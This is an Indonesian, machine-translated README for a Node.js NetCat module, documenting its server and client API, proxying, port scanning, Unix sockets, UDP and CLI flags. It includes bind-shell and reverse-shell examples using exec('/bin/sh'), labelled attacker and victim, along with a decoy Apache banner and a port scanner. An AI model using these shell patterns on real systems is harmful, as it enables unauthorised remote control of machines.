Modul klien dan server NetCat ditulis dalam javascript murni untuk node.js.
Modul yang diuji sepenuhnya yang mengimplementasikan semua fitur dasar NetCat. Untuk digunakan sebagai alat mandiri, instal paket NC.
| Linux/Mac | Windows |
|---|---|
.auth('pass') ). allow & deny alamat IP jarak jauh tertentu. $ npm install --save netcat
const NetcatServer = require ( 'netcat/server' )
const NetcatClient = require ( 'netcat/client' )
const nc = new NetcatServer ( )
const nc2 = new NetcatClient ( ) API modul ini cenderung mengikuti sebanyak mungkin Params CLI NetCat asli.
Misalnya: nc -l -p 2389 setara dengan nc.port(2389).listen() . Mudah kan?
| Server | Klien |
|---|---|
nc.port(2389).listen() | nc2.addr('127.0.0.1').port(2389).connect() |
| Server | Klien |
|---|---|
nc.port(2389).listen().pipe(outputStream) | inputStream.pipe(nc2.port(2389).connect().stream()) |
atau mendarat Anda dapat melakukan setara dengan nc -l -p 2389 < filename.txt dan ketika orang lain terhubung ke port Anda 2389, file dikirimkan kepada mereka apakah mereka menginginkannya atau tidak:
| Server | Klien |
|---|---|
nc.port(2389).serve('filename.txt').listen() | nc2.port(2389).connect().pipe(outputStream) |
| Server | Klien |
|---|---|
nc.port(2389).k().listen() | inputStream.pipe(nc2.port(2389).connect().stream()) |
Server akan tetap hidup dan tidak ditutup setelah koneksi pertama. ( k() adalah alias untuk keepalive() )
| Server | Klien |
|---|---|
nc.port(2389).listen().serve(Buffer.from('Hello World')) | nc2.port(2389).connect().on('data', console.log) |
| Server | Klien |
|---|---|
nc.port(2389).listen().exec('/bin/bash') | process.stdin.pipe( nc2.addr('127.0.0.1').port(2389).connect().pipe(process.stdout).stream() ) |
Metode exec() mengeksekusi perintah yang diberikan dan pipa bersama -sama stdout dan stderr dengan socket klien.
| Penyerang | Korban |
|---|---|
nc.k().port(2389).listen().serve(process.stdin).pipe(process.stdout) | nc2.addr('127.0.0.1').port(2389) .retry(5000).connect().exec('/bin/sh') |
NetCat dapat dengan mudah dikonfigurasi sebagai server proxy:
var nc = new NetcatServer ( )
var nc2 = new NetcatClient ( )
nc2 . addr ( 'google.com' ) . port ( 80 ) . connect ( )
nc . port ( 8080 ) . k ( ) . listen ( ) . proxy ( nc2 . stream ( ) ) Semua lalu lintas yang mengalir di localhost:8080 akan diarahkan ke google.com:80 . Demikian pula Anda dapat mengatur penerusan port menggunakan host yang sama.
Berpura -pura menjadi server Apache:
var apache = `HTTP/1.1 200 OK
Date: Sat, 27 May 2017 16:51:02 GMT
Server: Apache/2.4.7 (Ubuntu)
Cache-Control: public, max-age=0
Content-Type: text/html; charset=utf-8
Content-Length: 16894
Vary: Accept-Encoding
`
var nc = new NetcatServer ( )
var logFile = fs . createWriteStream ( 'log.txt' )
nc . port ( 80 ) . k ( ) . listen ( ) . serve ( Buffer . from ( apache ) ) . pipe ( logFile ) Klien NetCAT juga menyediakan fungsionalitas pemindaian port dasar.
var nc = new NetcatClient ( )
nc . addr ( '127.0.0.1' ) . scan ( '22-80' , function ( ports ) {
// ports: { '22': 'open', '23': 'closed' ... }
} ) Pemindai port hanya protokol TCP. Pemindaian UDP tidak terlalu efektif. scan(...) menerima juga array atau nomor integer.
var nc = new NetcatServer ( )
nc . addr ( '127.0.0.1' ) . port ( 8080 ) . filter ( function ( chunk , enc , cb ) {
// transform upper case
var out = chunk . toString ( ) . toUpperCase ( )
this . push ( Buffer . from ( out ) )
cb ( null )
} ) . pipe ( process . stdout ) . connect ( ) Baik server NetCAT dan klien mendukung Conn Socket UNIX. Mari kita gunakan instance klien NetCat kami untuk terhubung ke file soket Docker Unix dan mengambil daftar gambar wadah kami.
nc2 . unixSocket ( '/var/run/docker.sock' ) . enc ( 'utf8' )
. on ( 'data' , function ( res ) {
console . log ( res )
} )
. connect ( )
. send ( 'GET /images/json HTTP/1.0rnrn' ) var nc = new NetcatServer ( )
nc . udp ( ) . port ( 2100 ) . listen ( ) . on ( 'data' , function ( rinfo , data ) {
console . log ( 'Got' , data . toString ( ) , 'from' , rinfo . address , rinfo . port )
nc . close ( )
} ) var nc2 = new NetcatClient ( )
nc2 . udp ( ) . port ( 2100 ) . wait ( 1000 ) . init ( ) . send ( 'hello' , '127.0.0.1' ) Kirim hello Buffer ke port 2100 , lalu setelah 1000 ms tutup klien.
port(int) atau p(int)NetCAT dapat mengikat ke port lokal apa pun, tunduk pada pembatasan hak istimewa dan port yang sudah digunakan.
address(host) atau addr(host)0.0.0.0 secara default.127.0.0.1 secara default. listen()Buat server UDP/TCP dengarkan di port yang ditetapkan sebelumnya.
unixSocket(path) - TCP sajaSecara opsional Anda dapat memberikan jalur ke file kaus kaki unix dan mendengarkan/menghubungkannya.
connect() - TCP sajaSisi klien saja. Biarkan klien terhubung ke alamat dan port yang ditetapkan sebelumnya.
retry(ms) - TCP saja Sisi klien saja. Coba lagi koneksi setiap ms milidetik saat koneksi hilang.
interval(ms) atau i(ms)Hanya sisi klien: Menentukan interval waktu tunda untuk data yang dikirim. Dalam milidetik.
waitTime(ms) atau wait(ms)Tetapkan batas waktu.
ms milidetik dari data pertama dan jika tidak mendapatkan lebih banyak data, akan menutup koneksi.ms Milliseconds dari data pertama yang dikirim dan jika tidak ada lagi data untuk mengirim klien akan ditutup. stream()Kembalikan referensi klien duplexstream.
pipe(outStream)Pipa data yang masuk dari klien ke outstream yang diberikan.
filter(transformFn) Saring data yang masuk dengan function (chunk, enc, cb){...} sebelum disalurkan.
NB : Data .on('data', cb) yang Anda dapatkan tidak difilter. Filter hanya berlaku pada aliran .pipe(...) .
Masalah yang Diketahui : through2 Saat Ini Tidak Menghormati Pengkodean. Jika Anda mengatur filter, Anda akan mendapatkan buffer dan metode enc() tidak akan berguna.
serve()Metode sisi server.
Metode serve menerima string (menunjukkan nama file, pastikan file ada), aliran yang dapat dibaca atau buffer. Ketika Anda melewati aliran yang dapat dibaca, metode Keepalive dapat menyebabkan aliran dikonsumsi pada permintaan pertama dan tidak ada lagi yang dapat dilayani (aliran tidak di -cache dalam buffer).
Selain itu saat menyajikan file atau buffer ke soket, pipa akan memancarkan acara end (EOF) ke soket. Menutup aliran.
send(data [, cb|host])Sisi klien:
cb dipanggil setelah data dikirim.Sisi server:
serve() sebagai gantinya.end(data) - TCP sajaMetode sisi klien. Kirim data yang diberikan dan tutup koneksi.
close([cb]) Tutup koneksi (atau koneksi jika dieksekusi sisi server) dan hubungi cb setelah soket ditutup.
enc() Atur penyandian. Yang paling umum adalah: utf8 , ascii , base64 , hex , binary , hex .
protocol(prot) Tetapkan protokol khusus. Penggunaan metode ini tidak disarankan. Gunakan metode tcp() dan udp() sebagai gantinya. tcp adalah nilai default.
keepalive() atau k() - TCP sajaMetode sisi server.
Saat Anda mengatur Keepalive, server akan tetap terjaga dan mungkin di luar yang diberikan untuk pipe(outStream) tetap terbuka.
Secara default dalam mode UDP, pendengaran tetap hidup sampai nc.close() .
exec() - TCP saja Metode exec() mengeksekusi perintah yang diberikan dan pipa bersama -sama stdout dan stderr dengan socket klien. Secara opsional menerima string dan array ARGS sebagai param kedua dan opsi spawn sebagai param ketiga. Jika arang pipa ditemukan | maka semua perintah akan diproses di bawah sh -c .
Contoh:
nc . p ( 2389 ) . exec ( 'base64' , [ '-d' ] ) . listen ( )
// OR
nc . p ( 2389 ) . exec ( 'base64 | grep hello' ) . listen ( ) getClients() - TCP sajaMetode sisi server. Mengembalikan objek yang mencantumkan semua referensi soket klien.
proxy(duplexStream) - TCP saja Metode sisi server. Metode ini menyalurkan data yang masuk/keluar dari server ke duplexstream yang disediakan. Ini seperti jalan pintas untuk kedua panggilan: .serve(duplexStream) dan .pipe(duplexStream) .
output(outStream) atau out(outStream) Tuliskan dump hex dari lalu lintas yang masuk atau keluar ke aliran yang dapat ditulis outStream .
Sebuah baris mewakili sepotong setidaknya 16 byte secara default.
Karakter pertama dapat berupa < atau > masing -masing "potongan masuk" atau "potongan keluar".
scan(portsInterval, cb) - Hanya TCPKlien NetCAT juga menyediakan fungsionalitas pemindaian port dasar.
Parameternya adalah wajib. Parameter pertama menentukan port/S untuk memindai. Ini bisa berupa bilangan bulat tunggal, interval string (seperti 22-80 ) atau array integer ( [22, 23, 1880] ). Panggilan balik kembali sebagai hasil objek seperti { '22': 'open', '23': 'closed' ... } .
init() - hanya UDP UDP-setara dari connect() . Hanya untuk klien UDP.
bind(<int>) - Hanya UDP Biarkan klien/server UDP mendengarkan di port yang diberikan. Ini juga akan digunakan sebagai port outing jika .port(<n>) tidak dipanggil.
broadcast(<dst>) atau b(<dst>) - hanya UDPSetel siaran untuk server UDP (akhirnya Anda dapat menentukan alamat tujuan).
destination(<dst>) - Hanya UDP Tetapkan alamat tujuan. ( 127.0.0.1 adalah nilai default)
loopback() - hanya UDPAktifkan loopback. Misalnya, ketika server UDP diikat ke port dan mengirim pesan ke port itu, itu akan mendapatkan kembali MSG jika loopback diaktifkan.
bind(int) - Hanya UDP Ikat server/klien UDP untuk mendengarkan pada port yang diberikan dan menggunakan port set dengan port() hanya untuk paket yang datang.
Modul NETCAT memperluas kelas EventEmitter . Anda akan dapat menangkap beberapa acara langsung dari soket. Misalnya acara data untuk server:
| Server | Klien |
|---|---|
nc.port(2389).listen().on('data', onData) | inputStream.pipe(nc2.port(2389).connect().stream()) |
function onData ( socket , chunk ) {
console . log ( socket . id , 'got' , chunk ) // Buffer <...>
socket . write ( 'hello client' ) // reply to the client
}.on('data', function(sock/rinfo, msg){})Dipancarkan saat server mendapat data dari klien.
.on('ready', cb)Dipancarkan ketika server berhasil mendengarkan/mengikat ke port.
.on('close', cb)Dipancarkan saat server ditutup.
.on('clientClose', function(socket, hadError){}) - TCP saja Dipanggil saat klien memutuskan sambungan dari server. Callback menerima sebagai param 1 instance socket yang baru saja terputus dan bool val hadError .
.on('connection', function(socket){}) - TCP sajaDipancarkan ketika klien baru terhubung ke server.
.on('end', function(socket){}) - TCP sajaDipancarkan saat klien mengakhiri koneksi.
.on('timeout', function(socket){}) - TCP sajaAcara Timeout Soket.
.on('waitTimeout', cb) Dipecat ketika server tetap tidak aktif untuk waktu wait(ms) .
.on('error', function(err){})Dipancarkan pada kesalahan.
.on('data', function(msg){})Data dari server.
.on('close', cb)Dipancarkan saat klien ditutup.
.on('waitTimeout', cb) Dipecat ketika klien tetap tidak aktif untuk waktu wait(ms) .
.on('connect', cb) - TCP sajaDipancarkan ketika klien membuat koneksi dengan server.
.on('error', function(err){})Dipancarkan pada kesalahan.
Untuk penggunaan mandiri, instal paket NC CLI:
$ npm install -g nc
Contoh:
$ # Listen for inbound
$ nc -l -p port [- options] [hostname] [port]
Opsi yang tersedia:
-c shell commands as '-e'; use /bin/sh to exec [dangerous!!]-e filename program to exec after connect [dangerous!!]-b allow broadcasts-i secs delay interval for lines sent, ports scanned (client-side)-h this cruft-k set keepalive option on socket-l listen mode, for inbound connects-n numeric-only IP addresses, no DNS-o file hex dump of traffic-p port local port number-r randomize local and remote ports-q secs quit after EOF on stdin and delay of secs-s addr local source address-u UDP mode-U Listen or connect to a UNIX domain socket-v verbose-w secs timeout for connects and final net reads-z zero-I/O mode [used for scanning] Debug cocok dengan mode verbose. Anda dapat mengaktifkannya dengan verbose: true atau debug var var DEBUG=netcat:*
Jalankan dengan: npm test
Cakupan:
.serve(input) .pipe() dan serve() . exec() Rocco Musolino (@roccomuso)
Mit